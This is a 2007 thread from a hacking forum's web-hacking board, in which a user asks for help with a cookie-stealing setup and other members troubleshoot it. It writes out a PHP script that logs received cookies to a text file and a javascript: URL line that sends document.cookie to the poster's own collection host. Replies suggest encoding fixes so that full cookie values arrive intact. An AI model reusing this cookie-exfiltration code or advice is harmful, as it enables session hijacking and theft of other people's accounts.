Donate to us via Paypal!
Imagination is more valuable than knowledge - Albert Einstein
Tuesday, October 20, 2020
Navigation
Home
 Find:
 Information:
Learn
Communicate
Submit
Shop
Challenges
 Exploit:
 Programming:
 Think:
 Track:
 Patch:
 Other:
 Need Help?
Other
Members Online
Total Online: 62
Guests Online: 62
Members Online: 0

Registered Members: 129288
Newest Member: pizzo00186
Latest Articles

View Thread

HellBound Hackers | Computer General | Web hacking

Author

Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 01:32
Okay

so lets say on a site my cookie is:

Dummy=##5464646511188;Name=2eXtreme;Sex=Male;Country=Ireland

When I send this cookie to a php file to be put into a txt file, the txt file only has 'Dummy=' in it, nothing more. My question is, does '##' act as a null type charcter, that php recognises as some kind of message to tell it to stop writing to the log file? When sending other cookies from other sites to the log file, the log file receices them perfectly, but these cookies do not contain '##', so im guessing this is like a termination character?

Is there a way to get around this? Using javascript, and 'document.cookie', is there a way i can specify what part of the cookie i want, i.e. how do i send just my 'Name', i.e. '2eXtreme', to the log file, and nothing more?

Thanks very much for any help given guys! Grin
Author

RE: Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 01:34
id have to see more of your your source code, but if you arent already, put single quotes around the values.




Edited by on 01-02-07 20:27
Author

RE: Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 01:36
the php code is:

Code
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie."\n\n");
fclose($log);
?>






Edited by on 01-02-07 01:36
Author

RE: Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 07:58
that worked, thanks so much!

okay

s instead of me doing javascript, how would i do it in php? e.g. the javascript im typing into the url bar is:

javascript:null(document.location='http://mysite.com/get.php?cookies='+document.cookie);


how do i translate this into php cod that does the same, i.e. what fucntions in php send data to a url, and what fucntion do i use so that i havr cookie data returned to me?

Thanks again, you are a great help!
Author

RE: Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 16:25
*bump*

sorry, I know bumps are annoying, but Id really appreciate it if someone could help me.
Author

RE: Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 16:32
That would be because the # is a character which is used in conjunctions with the anchor tags. Try something like

escape() or something


Author

RE: Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 16:38
To get a cookies isn't it:
Code
<?php
// All your code
$cookieyouwant = $_COOKIE['cookie'];
?>




Not...

Code
<?php
// All your code
$cookieyouwant = $_GET['cookie'];
?>







Author

RE: Need help sending cookies to a php file


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-02-07 16:47
em, how does escape() work? is there a way to strip the hash symbols off the cookie before sending it?

about teh get cookie, cookie is the name of a variable, a get variable, in teh receiving php file. to get the actual cookie contents, i think youre right about that though.

how do i chnage teh url of teh current page in php? like say i have a page, url.php, what is the exact line of code i have to put in, so that when url.php loads, it automatically forwards to http://www.google.com?

thansk so much guys, i really appreciate this Grin